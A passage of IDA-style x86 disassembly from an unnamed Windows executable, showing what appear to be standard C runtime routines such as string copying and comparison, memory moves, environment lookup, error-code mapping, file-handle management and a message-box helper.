edi, offset dword_517300 mov dword_5172FC, eax mov dword_51730C, eax mov dword_517524, eax stosd stosd stosd pop edi retn sub_406106 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40612F proc near ; CODE XREF: sub_405EF0:loc_406078p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_5172FC call dword_408030 cmp eax, 1 jnz loc_406268 xor eax, eax mov esi, 100h loc_406159: ; CODE XREF: sub_40612F+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_406159 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_4061AA push ebx push edi lea edx, [ebp+var_D] loc_406178: ; CODE XREF: sub_40612F+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_40619F sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_40619F: ; CODE XREF: sub_40612F+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_406178 pop edi pop ebx loc_4061AA: ; CODE XREF: sub_40612F+42j push 0 lea eax, [ebp+var_514] push dword_517524 push dword_5172FC push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_405D65 push 0 lea eax, [ebp+var_214] push dword_5172FC push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_517524 call sub_406CE8 push 0 lea eax, [ebp+var_314] push dword_5172FC push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_517524 call sub_406CE8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_406225: ; CODE XREF: sub_40612F+135j mov dx, [ecx] test dl, 1 jz short loc_406243 or byte_517421[eax], 10h mov dl, [ebp+eax+var_214] loc_40623B: ; CODE XREF: sub_40612F+127j mov byte_517320[eax], dl jmp short loc_40625F ; --------------------------------------------------------------------------- loc_406243: ; CODE XREF: sub_40612F+FCj test dl, 2 jz short loc_406258 or byte_517421[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_40623B ; --------------------------------------------------------------------------- loc_406258: ; CODE XREF: sub_40612F+117j and byte_517320[eax], 0 loc_40625F: ; CODE XREF: sub_40612F+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_406225 jmp short loc_4062B1 ; --------------------------------------------------------------------------- loc_406268: ; CODE XREF: sub_40612F+1Dj xor eax, eax mov esi, 100h loc_40626F: ; CODE XREF: sub_40612F+180j cmp eax, 41h jb short loc_40628D cmp eax, 5Ah ja short loc_40628D or byte_517421[eax], 10h mov cl, al add cl, 20h loc_406285: ; CODE XREF: sub_40612F+174j mov byte_517320[eax], cl jmp short loc_4062AC ; --------------------------------------------------------------------------- loc_40628D: ; CODE XREF: sub_40612F+143j ; sub_40612F+148j cmp eax, 61h jb short loc_4062A5 cmp eax, 7Ah ja short loc_4062A5 or byte_517421[eax], 20h mov cl, al sub cl, 20h jmp short loc_406285 ; --------------------------------------------------------------------------- loc_4062A5: ; CODE XREF: sub_40612F+161j ; sub_40612F+166j and byte_517320[eax], 0 loc_4062AC: ; CODE XREF: sub_40612F+15Cj inc eax cmp eax, esi jb short loc_40626F loc_4062B1: ; CODE XREF: sub_40612F+137j pop esi leave retn sub_40612F endp ; =============== S U B R O U T I N E ======================================= sub_4062B4 proc near ; CODE XREF: sub_4047C8+9p ; sub_404820+Dp ... cmp dword_518688, 0 jnz short locret_4062CF push 0FFFFFFFDh call sub_405EF0 pop ecx mov dword_518688, 1 locret_4062CF: ; CODE XREF: sub_4062B4+7j retn sub_4062B4 endp ; =============== S U B R O U T I N E ======================================= sub_4062D0 proc near ; CODE XREF: sub_404820+86p ; sub_404E3C+83p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_406341 sub_4062D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4062E0 proc near ; CODE XREF: sub_404E3C+E6p ; sub_404E3C+F7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4062FC loc_4062ED: ; CODE XREF: sub_4062E0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40632F test ecx, 3 jnz short loc_4062ED loc_4062FC: ; CODE XREF: sub_4062E0+Bj ; sub_4062E0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4062FC mov eax, [ecx-4] test al, al jz short loc_40633E test ah, ah jz short loc_406339 test eax, 0FF0000h jz short loc_406334 test eax, 0FF000000h jz short loc_40632F jmp short loc_4062FC ; --------------------------------------------------------------------------- loc_40632F: ; CODE XREF: sub_4062E0+12j ; sub_4062E0+4Bj lea edi, [ecx-1] jmp short loc_406341 ; --------------------------------------------------------------------------- loc_406334: ; CODE XREF: sub_4062E0+44j lea edi, [ecx-2] jmp short loc_406341 ; --------------------------------------------------------------------------- loc_406339: ; CODE XREF: sub_4062E0+3Dj lea edi, [ecx-3] jmp short loc_406341 ; --------------------------------------------------------------------------- loc_40633E: ; CODE XREF: sub_4062E0+39j lea edi, [ecx-4] loc_406341: ; CODE XREF: sub_4062D0+5j ; sub_4062E0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_406366 loc_40634D: ; CODE XREF: sub_4062E0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4063B8 mov [edi], dl inc edi test ecx, 3 jnz short loc_40634D jmp short loc_406366 ; --------------------------------------------------------------------------- loc_406361: ; CODE XREF: sub_4062E0+9Ej ; sub_4062E0+B8j mov [edi], edx add edi, 4 loc_406366: ; CODE XREF: sub_4062E0+6Bj ; sub_4062E0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_406361 test dl, dl jz short loc_4063B8 test dh, dh jz short loc_4063AF test edx, 0FF0000h jz short loc_4063A2 test edx, 0FF000000h jz short loc_40639A jmp short loc_406361 ; --------------------------------------------------------------------------- loc_40639A: ; CODE XREF: sub_4062E0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4063A2: ; CODE XREF: sub_4062E0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4063AF: ; CODE XREF: sub_4062E0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4063B8: ; CODE XREF: sub_4062E0+72j ; sub_4062E0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4062E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063C0 proc near ; CODE XREF: sub_404B26+116p ; sub_407632+82p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4063E0 cmp edi, eax jb loc_406558 loc_4063E0: ; CODE XREF: sub_4063C0+16j test edi, 3 jnz short loc_4063FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40641C rep movsd jmp off_406508[edx*4] ; --------------------------------------------------------------------------- loc_4063FC: ; CODE XREF: sub_4063C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_406414 and eax, 3 add ecx, eax jmp dword ptr loc_40641C+4[eax*4] ; --------------------------------------------------------------------------- loc_406414: ; CODE XREF: sub_4063C0+46j jmp dword ptr loc_406518[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40641C: ; CODE XREF: sub_4063C0+31j ; sub_4063C0+8Ej ... jmp off_40649C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_406430 dd offset loc_40645C dd offset loc_406480 ; --------------------------------------------------------------------------- loc_406430: ; DATA XREF: sub_4063C0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40641C rep movsd jmp off_406508[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40645C: ; DATA XREF: sub_4063C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40641C rep movsd jmp off_406508[edx*4] ; --------------------------------------------------------------------------- align 10h loc_406480: ; DATA XREF: sub_4063C0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40641C rep movsd jmp off_406508[edx*4] ; --------------------------------------------------------------------------- align 4 off_40649C dd offset loc_4064FF ; DATA XREF: sub_4063C0:loc_40641Cr dd offset loc_4064EC dd offset loc_4064E4 dd offset loc_4064DC dd offset loc_4064D4 dd offset loc_4064CC dd offset loc_4064C4 dd offset loc_4064BC ; --------------------------------------------------------------------------- loc_4064BC: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4064C4: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4064CC: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4064D4: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4064DC: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4064E4: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4064EC: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4064FF: ; CODE XREF: sub_4063C0:loc_40641Cj ; DATA XREF: sub_4063C0:off_40649Co jmp off_406508[edx*4] ; --------------------------------------------------------------------------- align 4 off_406508 dd offset loc_406518 ; DATA XREF: sub_4063C0+35r ; sub_4063C0+92r ... dd offset loc_406520 dd offset loc_40652C dd offset loc_406540 ; --------------------------------------------------------------------------- loc_406518: ; CODE XREF: sub_4063C0+35j ; sub_4063C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_406520: ; CODE XREF: sub_4063C0+35j ; sub_4063C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40652C: ; CODE XREF: sub_4063C0+35j ; sub_4063C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_406540: ; CODE XREF: sub_4063C0+35j ; sub_4063C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_406558: ; CODE XREF: sub_4063C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40658C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_406580 std rep movsd cld jmp off_4066A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_406580: ; CODE XREF: sub_4063C0+1B1j ; sub_4063C0+208j ... neg ecx jmp off_406650[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40658C: ; CODE XREF: sub_4063C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4065A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4065A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4065A4: ; CODE XREF: sub_4063C0+1D6j ; DATA XREF: sub_4063C0+1DDr jmp off_4066A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4065B8 dd offset loc_4065D8 dd offset loc_406600 ; --------------------------------------------------------------------------- loc_4065B8: ; DATA XREF: sub_4063C0+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_406580 std rep movsd cld jmp off_4066A0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4065D8: ; DATA XREF: sub_4063C0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_406580 std rep movsd cld jmp off_4066A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_406600: ; DATA XREF: sub_4063C0+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_406580 std rep movsd cld jmp off_4066A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_406654 dd offset loc_40665C dd offset loc_406664 dd offset loc_40666C dd offset loc_406674 dd offset loc_40667C dd offset loc_406684 off_406650 dd offset loc_406697 ; DATA XREF: sub_4063C0+1C2r ; --------------------------------------------------------------------------- loc_406654: ; DATA XREF: sub_4063C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40665C: ; DATA XREF: sub_4063C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_406664: ; DATA XREF: sub_4063C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40666C: ; DATA XREF: sub_4063C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_406674: ; DATA XREF: sub_4063C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40667C: ; DATA XREF: sub_4063C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_406684: ; DATA XREF: sub_4063C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_406697: ; CODE XREF: sub_4063C0+1C2j ; DATA XREF: sub_4063C0:off_406650o jmp off_4066A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4066A0 dd offset loc_4066B0 ; DATA XREF: sub_4063C0+1B7r ; sub_4063C0:loc_4065A4r ... dd offset loc_4066B8 dd offset loc_4066C8 dd offset loc_4066DC ; --------------------------------------------------------------------------- loc_4066B0: ; CODE XREF: sub_4063C0+1B7j ; sub_4063C0:loc_4065A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4066B8: ; CODE XREF: sub_4063C0+1B7j ; sub_4063C0:loc_4065A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4066C8: ; CODE XREF: sub_4063C0+1B7j ; sub_4063C0:loc_4065A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4066DC: ; CODE XREF: sub_4063C0+1B7j ; sub_4063C0:loc_4065A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4063C0 endp ; =============== S U B R O U T I N E ======================================= sub_4066F5 proc near ; CODE XREF: sub_404E3C+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_409CC8, ebx push esi push edi jnz short loc_406744 push offset aUser32_dll ; "user32.dll" call dword_408020 mov edi, eax cmp edi, ebx jz short loc_40677A mov esi, dword_408024 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_409CC8, eax jz short loc_40677A push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_409CCC, eax call esi mov dword_409CD0, eax loc_406744: ; CODE XREF: sub_4066F5+Bj mov eax, dword_409CCC test eax, eax jz short loc_406763 call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_406763 mov eax, dword_409CD0 test eax, eax jz short loc_406763 push ebx call eax ; GetLastActivePopup mov ebx, eax loc_406763: ; CODE XREF: sub_4066F5+56j ; sub_4066F5+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_409CC8 ; MessageBoxA loc_406776: ; CODE XREF: sub_4066F5+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40677A: ; CODE XREF: sub_4066F5+1Cj ; sub_4066F5+33j xor eax, eax jmp short loc_406776 sub_4066F5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406780 proc near ; CODE XREF: sub_404E3C+C5p ; sub_4052DA+184p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_406803 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4067A4 shr ecx, 2 jnz short loc_406811 jmp short loc_4067C5 ; --------------------------------------------------------------------------- loc_4067A4: ; CODE XREF: sub_406780+1Bj ; sub_406780+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4067D2 test al, al jz short loc_4067DA test esi, 3 jnz short loc_4067A4 mov ebx, ecx shr ecx, 2 jnz short loc_406811 loc_4067C0: ; CODE XREF: sub_406780+8Fj and ebx, 3 jz short loc_4067D2 loc_4067C5: ; CODE XREF: sub_406780+22j ; sub_406780+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4067FE dec ebx jnz short loc_4067C5 loc_4067D2: ; CODE XREF: sub_406780+2Bj ; sub_406780+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4067DA: ; CODE XREF: sub_406780+2Fj test edi, 3 jz short loc_4067F4 loc_4067E2: ; CODE XREF: sub_406780+72j mov [edi], al inc edi dec ecx jz loc_406876 test edi, 3 jnz short loc_4067E2 loc_4067F4: ; CODE XREF: sub_406780+60j mov ebx, ecx shr ecx, 2 jnz short loc_406867 loc_4067FB: ; CODE XREF: sub_406780+7Fj ; sub_406780+F4j mov [edi], al inc edi loc_4067FE: ; CODE XREF: sub_406780+4Dj dec ebx jnz short loc_4067FB pop ebx pop esi loc_406803: ; CODE XREF: sub_406780+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406780+A9j ; sub_406780+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4067C0 loc_406811: ; CODE XREF: sub_406780+20j ; sub_406780+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_406809 test dl, dl jz short loc_40685B test dh, dh jz short loc_406851 test edx, 0FF0000h jz short loc_406847 test edx, 0FF000000h jnz short loc_406809 mov [edi], edx jmp short loc_40685F ; --------------------------------------------------------------------------- loc_406847: ; CODE XREF: sub_406780+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_40685F ; --------------------------------------------------------------------------- loc_406851: ; CODE XREF: sub_406780+B1j and edx, 0FFh mov [edi], edx jmp short loc_40685F ; --------------------------------------------------------------------------- loc_40685B: ; CODE XREF: sub_406780+ADj xor edx, edx mov [edi], edx loc_40685F: ; CODE XREF: sub_406780+C5j ; sub_406780+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_406871 loc_406867: ; CODE XREF: sub_406780+79j xor eax, eax loc_406869: ; CODE XREF: sub_406780+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_406869 loc_406871: ; CODE XREF: sub_406780+E5j and ebx, 3 jnz short loc_4067FB loc_406876: ; CODE XREF: sub_406780+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_406780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406880 proc near ; CODE XREF: sub_4052DA+13Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_4068CC loc_406890: ; CODE XREF: sub_406880+3Cj ; sub_406880+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_4068C4 or al, al jz short loc_4068C0 cmp ah, [ecx+1] jnz short loc_4068C4 or ah, ah jz short loc_4068C0 shr eax, 10h cmp al, [ecx+2] jnz short loc_4068C4 or al, al jz short loc_4068C0 cmp ah, [ecx+3] jnz short loc_4068C4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_406890 mov edi, edi loc_4068C0: ; CODE XREF: sub_406880+18j ; sub_406880+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_4068C4: ; CODE XREF: sub_406880+14j ; sub_406880+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_4068CC: ; CODE XREF: sub_406880+Ej test edx, 1 jz short loc_4068E8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_4068C4 inc ecx or al, al jz short loc_4068C0 test edx, 2 jz short loc_406890 loc_4068E8: ; CODE XREF: sub_406880+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_4068C4 or al, al jz short loc_4068C0 cmp ah, [ecx+1] jnz short loc_4068C4 or ah, ah jz short loc_4068C0 add ecx, 2 jmp short loc_406890 sub_406880 endp ; =============== S U B R O U T I N E ======================================= sub_406904 proc near ; CODE XREF: sub_4052DA+23p arg_0 = dword ptr 4 cmp dword_518684, 0 push ebx push esi mov esi, dword_409A98 push edi jz short loc_40697B test esi, esi jnz short loc_406935 cmp dword_409AA0, esi jz short loc_40697B call sub_406F76 test eax, eax jnz short loc_40697B mov esi, dword_409A98 test esi, esi jz short loc_40697B loc_406935: ; CODE XREF: sub_406904+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_40697B push ebx call sub_405B90 pop ecx mov edi, eax loc_406946: ; CODE XREF: sub_406904+6Dj mov eax, [esi] test eax, eax jz short loc_40697B push eax call sub_405B90 cmp eax, edi pop ecx jbe short loc_40696E mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_40696E push edi push ebx push eax call sub_406F37 add esp, 0Ch test eax, eax jz short loc_406973 loc_40696E: ; CODE XREF: sub_406904+51j ; sub_406904+59j add esi, 4 jmp short loc_406946 ; --------------------------------------------------------------------------- loc_406973: ; CODE XREF: sub_406904+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_40697D ; --------------------------------------------------------------------------- loc_40697B: ; CODE XREF: sub_406904+10j ; sub_406904+1Cj ... xor eax, eax loc_40697D: ; CODE XREF: sub_406904+75j pop edi pop esi pop ebx retn sub_406904 endp ; =============== S U B R O U T I N E ======================================= sub_406981 proc near ; CODE XREF: sub_405824+6Bp ; sub_4058BE+160p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_409A74, ecx mov eax, offset dword_4098F0 loc_406992: ; CODE XREF: sub_406981+1Ej cmp ecx, [eax] jz short loc_4069B6 add eax, 8 inc edx cmp eax, offset dword_409A58 jl short loc_406992 cmp ecx, 13h jb short loc_4069C3 cmp ecx, 24h ja short loc_4069C3 mov dword_409A70, 0Dh retn ; --------------------------------------------------------------------------- loc_4069B6: ; CODE XREF: sub_406981+13j mov eax, dword_4098F4[edx*8] mov dword_409A70, eax retn ; --------------------------------------------------------------------------- loc_4069C3: ; CODE XREF: sub_406981+23j ; sub_406981+28j cmp ecx, 0BCh jb short loc_4069DD cmp ecx, 0CAh mov dword_409A70, 8 jbe short locret_4069E7 loc_4069DD: ; CODE XREF: sub_406981+48j mov dword_409A70, 16h locret_4069E7: ; CODE XREF: sub_406981+5Aj retn sub_406981 endp ; =============== S U B R O U T I N E ======================================= sub_4069E8 proc near ; CODE XREF: sub_407554+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_518660 push edi jnb short loc_406A4B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:518560h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_406A4B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_406A4B cmp dword_4090E4, 1 jnz short loc_406A41 xor eax, eax sub ecx, eax jz short loc_406A38 dec ecx jz short loc_406A33 dec ecx jnz short loc_406A41 push eax push 0FFFFFFF4h jmp short loc_406A3B ; --------------------------------------------------------------------------- loc_406A33: ; CODE XREF: sub_4069E8+41j push eax push 0FFFFFFF5h jmp short loc_406A3B ; --------------------------------------------------------------------------- loc_406A38: ; CODE XREF: sub_4069E8+3Ej push eax push 0FFFFFFF6h loc_406A3B: ; CODE XREF: sub_4069E8+49j ; sub_4069E8+4Ej call dword_40801C loc_406A41: ; CODE XREF: sub_4069E8+38j ; sub_4069E8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_406A5F ; --------------------------------------------------------------------------- loc_406A4B: ; CODE XREF: sub_4069E8+Cj ; sub_4069E8+2Aj ... and dword_409A74, 0 mov dword_409A70, 9 or eax, 0FFFFFFFFh loc_406A5F: ; CODE XREF: sub_4069E8+61j pop edi pop esi retn sub_4069E8 endp ; =============== S U B R O U T I N E ======================================= sub_406A62 proc near ; CODE XREF: sub_405824+2Dp ; sub_40703A+25p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_518660 jnb short loc_406A8A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_518560[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_406A8A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_406A8A: ; CODE XREF: sub_406A62+Aj ; sub_406A62+23j and dword_409A74, 0 mov dword_409A70, 9 or eax, 0FFFFFFFFh retn sub_406A62 endp ; =============== S U B R O U T I N E ======================================= sub_406A9F proc near ; CODE XREF: sub_405AD5+22p ; sub_405AD5+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_406ABF test esi, esi jnz short loc_406AB9 push 1 pop esi loc_406AB9: ; CODE XREF: sub_406A9F+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_406ABF: ; CODE XREF: sub_406A9F+11j ; sub_406A9F+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_406AF0 cmp ebx, dword_4090EC ja short loc_406ADB push ebx call sub_40340A mov edi, eax pop ecx test edi, edi jnz short loc_406B06 loc_406ADB: ; CODE XREF: sub_406A9F+2Dj push esi push 8 push dword_51867C call dword_40806C mov edi, eax test edi, edi jnz short loc_406B12 loc_406AF0: ; CODE XREF: sub_406A9F+25j cmp dword_409AE4, 0 jz short loc_406B12 push esi call sub_40301F test eax, eax pop ecx jz short loc_406B18 jmp short loc_406ABF ; --------------------------------------------------------------------------- loc_406B06: ; CODE XREF: sub_406A9F+3Aj push ebx push 0 push edi call sub_406C90 add esp, 0Ch loc_406B12: ; CODE XREF: sub_406A9F+4Fj ; sub_406A9F+58j mov eax, edi loc_406B14: ; CODE XREF: sub_406A9F+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_406B18: ; CODE XREF: sub_406A9F+63j xor eax, eax jmp short loc_406B14 sub_406A9F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_405B7A loc_406B1C: ; CODE XREF: sub_405B7A+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_518540, esi jle short loc_406B6F loc_406B2B: ; CODE XREF: sub_405B7A+FF3j mov eax, dword_517528 mov eax, [eax+esi*4] test eax, eax jz short loc_406B66 test byte ptr [eax+0Ch], 83h jz short loc_406B4A push eax call sub_406FE4 cmp eax, 0FFFFFFFFh pop ecx jz short loc_406B4A inc edi loc_406B4A: ; CODE XREF: sub_405B7A+FC1j ; sub_405B7A+FCDj cmp esi, 14h jl short loc_406B66 mov eax, dword_517528 push dword ptr [eax+esi*4] call sub_402B18 mov eax, dword_517528 pop ecx and dword ptr [eax+esi*4], 0 loc_406B66: ; CODE XREF: sub_405B7A+FBBj ; sub_405B7A+FD3j inc esi cmp esi, dword_518540 jl short loc_406B2B loc_406B6F: ; CODE XREF: sub_405B7A+FAFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION 